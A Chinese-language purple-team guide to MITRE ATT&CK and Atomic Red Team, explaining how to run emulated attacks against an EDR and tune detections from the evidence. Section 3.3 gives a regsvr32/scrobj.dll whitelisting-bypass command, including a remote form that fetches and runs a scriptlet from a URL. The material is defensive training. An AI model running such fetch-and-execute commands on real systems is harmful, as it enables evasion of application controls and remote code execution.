探索Atomic Red Team
字数 1677 2025-08-12 11:34:30

Atomic Red Team 与紫队协作实战指南

1. 红队/蓝队/紫队概念解析

1.1 红队 (Red Team)

  • 定义：模拟真实攻击者的"友好"安全团队
  • 目标：突破组织防御系统，发现安全漏洞
  • 衡量标准：绕过控制的数量和发现的漏洞数量
  • 发展：从革命性概念发展为网络安全必备组成部分

1.2 蓝队 (Blue Team)

  • 定义：负责防御真实和模拟攻击的内部安全团队
  • 目标：检测和阻止攻击行为
  • 衡量标准：
    • 最少警报表示安全控制有效运行
    • 大量警报表示检测措施正在工作

1.3 紫队 (Purple Team)

  • 本质：一种协作方法而非独立团队
  • 目的：促进红蓝队情报共享和持续反馈
  • 功能：
    • 最大化组织网络安全能力
    • 解决红蓝队固有冲突（红队成功=蓝队失败，反之亦然）

2. MITRE ATT&CK框架详解

2.1 框架组成

  • 战术(Tactics)：攻击过程中的短期目标
  • 技术(Techniques)：实现战术目标的手段
  • 子技术(Sub-Techniques)：更细粒度的技术实现手段

2.2 技术层级关系

  • 每个子技术有唯一父技术
  • 子技术与技术间不存在一对多关系
  • 跨战术子技术说明：
    • 子技术不考虑父技术所属战术
    • 例：进程注入(T1055)属于"防御绕过"和"提权"两个战术

2.3 信息继承规则

  • 子技术继承自父技术：
    • 缓解措施
    • 数据源信息
  • 不继承的内容：
    • 攻击组织关联
    • 恶意软件实例
  • 映射原则：
    • 信息详细→映射到子技术
    • 信息不明确→映射到父技术
    • 避免同一实例同时映射到技术和子技术

3. Atomic Red Team实战指南

3.1 框架概述

  • 小型便捷的测试框架
  • 与MITRE ATT&CK对应
  • 目的：快速测试安防方案对各种攻击的防护能力

3.2 测试准备

  1. 授权许可：必须事先获得合法授权
  2. 环境搭建：
    • 模拟真实环境的测试主机
    • 确保EDR解决方案就绪
    • 端点处于活跃状态
  3. 测试计划：
    • 可批量执行所有探测分支
    • 也可逐一运行并实时验证覆盖率

3.3 测试执行方法

3.3.1 本地方法

regsvr32.exe /s /u /i:file.sct scrobj.dll

3.3.2 远程方法

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll

注意事项：

  • 记录测试时长以测量有效性
  • 使用Carbon Black等EDR工具监控过程

3.4 证据收集

预期可观察到的迹象：

  1. 用户目录文件改动
  2. regsvr32.exe发起外部网络请求
  3. 代理日志记录
  4. Windows加载scrobj.dll

3.5 进程可视化分析

  • 使用Carbon Black Art图：
    • 可视化攻击执行流程
    • 显示进程启动关系
    • 提取命令行参数等属性
    • 发现网络连接信息

4. 检测方案开发与优化

4.1 检测方案设计

  1. 分析收集的所有属性
  2. 确定可用于风险警报的属性
  3. 构建关注列表：
    • 特定文件路径
    • 特定exe文件
    • 网络连接特征

4.2 平衡点寻找

  • 过于宽泛：高误报率（如检测所有regsvr32.exe）
  • 过于狭隘：易被绕过（如只检测特定参数组合）
  • 优化方法：
    1. 重新运行模拟
    2. 调整检测标准
    3. 持续迭代直至找到平衡点

4.3 持续验证

  • 使用Atomic Red Team：
    • 验证检测方案有效性
    • 验证防御控制是否正常工作
  • 蓝队应用：
    • 根据测试知识开发检测方法
    • 多方法组合检测攻击行为

5. 紫队协作最佳实践

5.1 协作流程

  1. 红队执行Atomic Red Team测试
  2. 蓝队监控并记录检测结果
  3. 双方共同分析差距：
    • 未检测到的攻击技术
    • 误报情况
  4. 联合改进检测和防御策略

5.2 知识转移机制

  • 定期紫队会议
  • 共享测试用例和结果
  • 共同维护ATT&CK技术覆盖矩阵
  • 建立反馈闭环系统

6. 参考资源

  • Atomic Red Team覆盖矩阵：https://atomicredteam.io/coverage/
  • 附加参考资料：https://www.anquanke.com/post/id/87111

7. 关键要点总结

  1. 紫队协作是提升整体安全态势的关键
  2. ATT&CK框架提供标准化攻击行为分类
  3. Atomic Red Team实现可重复的ATT&CK技术测试
  4. 检测方案需要在覆盖范围和精确度间平衡
  5. 安全防御是持续改进的过程，需要定期测试和验证
Atomic Red Team 与紫队协作实战指南 1. 红队/蓝队/紫队概念解析 1.1 红队 (Red Team) 定义：模拟真实攻击者的"友好"安全团队 目标：突破组织防御系统，发现安全漏洞 衡量标准：绕过控制的数量和发现的漏洞数量 发展：从革命性概念发展为网络安全必备组成部分 1.2 蓝队 (Blue Team) 定义：负责防御真实和模拟攻击的内部安全团队 目标：检测和阻止攻击行为 衡量标准： 最少警报表示安全控制有效运行 大量警报表示检测措施正在工作 1.3 紫队 (Purple Team) 本质：一种协作方法而非独立团队 目的：促进红蓝队情报共享和持续反馈 功能： 最大化组织网络安全能力 解决红蓝队固有冲突（红队成功=蓝队失败，反之亦然） 2. MITRE ATT&CK框架详解 2.1 框架组成 战术(Tactics) ：攻击过程中的短期目标 技术(Techniques) ：实现战术目标的手段 子技术(Sub-Techniques) ：更细粒度的技术实现手段 2.2 技术层级关系 每个子技术有唯一父技术 子技术与技术间不存在一对多关系 跨战术子技术说明： 子技术不考虑父技术所属战术 例：进程注入(T1055)属于"防御绕过"和"提权"两个战术 2.3 信息继承规则 子技术继承自父技术： 缓解措施 数据源信息 不继承的内容： 攻击组织关联 恶意软件实例 映射原则： 信息详细→映射到子技术 信息不明确→映射到父技术 避免同一实例同时映射到技术和子技术 3. Atomic Red Team实战指南 3.1 框架概述 小型便捷的测试框架 与MITRE ATT&CK对应 目的：快速测试安防方案对各种攻击的防护能力 3.2 测试准备 授权许可 ：必须事先获得合法授权 环境搭建 ： 模拟真实环境的测试主机 确保EDR解决方案就绪 端点处于活跃状态 测试计划 ： 可批量执行所有探测分支 也可逐一运行并实时验证覆盖率 3.3 测试执行方法 3.3.1 本地方法 3.3.2 远程方法 注意事项： 记录测试时长以测量有效性 使用Carbon Black等EDR工具监控过程 3.4 证据收集 预期可观察到的迹象： 用户目录文件改动 regsvr32.exe发起外部网络请求 代理日志记录 Windows加载scrobj.dll 3.5 进程可视化分析 使用Carbon Black Art图： 可视化攻击执行流程 显示进程启动关系 提取命令行参数等属性 发现网络连接信息 4. 检测方案开发与优化 4.1 检测方案设计 分析收集的所有属性 确定可用于风险警报的属性 构建关注列表： 特定文件路径 特定exe文件 网络连接特征 4.2 平衡点寻找 过于宽泛 ：高误报率（如检测所有regsvr32.exe） 过于狭隘 ：易被绕过（如只检测特定参数组合） 优化方法 ： 重新运行模拟 调整检测标准 持续迭代直至找到平衡点 4.3 持续验证 使用Atomic Red Team： 验证检测方案有效性 验证防御控制是否正常工作 蓝队应用： 根据测试知识开发检测方法 多方法组合检测攻击行为 5. 紫队协作最佳实践 5.1 协作流程 红队执行Atomic Red Team测试 蓝队监控并记录检测结果 双方共同分析差距： 未检测到的攻击技术 误报情况 联合改进检测和防御策略 5.2 知识转移机制 定期紫队会议 共享测试用例和结果 共同维护ATT&CK技术覆盖矩阵 建立反馈闭环系统 6. 参考资源 Atomic Red Team覆盖矩阵：https://atomicredteam.io/coverage/ 附加参考资料：https://www.anquanke.com/post/id/87111 7. 关键要点总结 紫队协作是提升整体安全态势的关键 ATT&CK框架提供标准化攻击行为分类 Atomic Red Team实现可重复的ATT&CK技术测试 检测方案需要在覆盖范围和精确度间平衡 安全防御是持续改进的过程，需要定期测试和验证